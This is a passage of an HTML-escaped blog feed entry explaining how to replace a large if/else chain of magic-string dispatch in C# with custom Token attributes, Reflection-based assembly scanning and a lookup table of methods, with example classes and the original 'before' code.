class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;198&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;199&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;    [global::System.Serializable]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;200&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;TokenNotFoundException&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;201&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;202&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;//&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;203&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// For guidelines regarding the creation of new exception types, see&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;204&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cpgenref/html/cpconerrorraisinghandlingguidelines.asp&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;205&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// and&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;206&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncscol/html/csharp07192001.asp&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;207&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;//&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;208&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenNotFoundException&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;209&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenNotFoundException&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;message&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;base&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;message&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;210&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenNotFoundException&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;message&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;inner&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;base&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;message&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;inner&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;211&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;protected&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenNotFoundException&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;212&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Runtime&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Serialization&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SerializationInfo&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;info&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;213&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Runtime&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Serialization&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;StreamingContext&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;context&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;214&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;base&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;info&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;context&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;215&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;216&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;217&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;ABC&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;218&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;219&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;        [Token(&amp;#34;ABCSearch&amp;#34;)]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;220&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SearchFor&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;State&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;ref&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;221&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;222&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// do some stuff.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;223&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;224&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Format&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;You called ABC.SearchFor. Parameters were [tag: {0}, state: {1}, cmdLine: {2}]&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;225&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;226&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;       &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;227&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;228&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;229&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;JKLM&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;230&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;231&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;        [Token(&amp;#34;JklmDoSomething&amp;#34;)]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;232&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Dowork1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;State&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;ref&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;233&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;234&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// do some other stuff.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;235&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;236&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Format&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;You called JKLM.Dowork1. Parameters were [tag: {0}, state: {1}, cmdLine: {2}]&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;237&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;238&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;239&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;240&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</summary>
		<content type="html">&lt;p&gt;Recently someone had a problem where they had some massive control block full of if statements looking at a string, dispatching one of a variety of functions. The &lt;code&gt;if&lt;/code&gt; block was massive. Hundreds of &lt;code&gt;if&lt;/code&gt; statements, hundreds of magic strings.&lt;/p&gt;&#xA;&lt;p&gt;Interestingly all the functions had the same signature... &lt;span class=&#34;more&#34;&gt;&lt;/span&gt; So I gave him this example of how to use attributes on the methods to specify the corresponding token, use Reflection to scan the assembly for all the functions with that attribute, then create a function table keyed by their token, to provide fast lookup. This example shows how to creat an object instance and then invoke the method via reflection, but this could be made much simpler if the methods were all static and the function protoype was part of an interface instead of just a unspoken convention.&lt;/p&gt;&#xA;&lt;p&gt;Here&#39;s the &amp;quot;Before&amp;quot; example from the original question...&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;State&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// ... etc ... &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;token&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;ABCSearch&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;ABC&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;abc&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ABC&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;abc&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SearchFor&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;ref&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;token&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;JklmDoSomething&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;JKLM&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;jklm&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;JKLM&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;jklm&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Dowork1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;ref&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;_ A couple of notes:_&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;There is no correlation between the token and the class name (&lt;code&gt;ABC&lt;/code&gt;, &lt;code&gt;JKLM&lt;/code&gt;, ...) or the method (&lt;code&gt;SearchFor&lt;/code&gt;, &lt;code&gt;Dowork1&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The methods do have the same signature:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;func&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;State&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;ref&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; 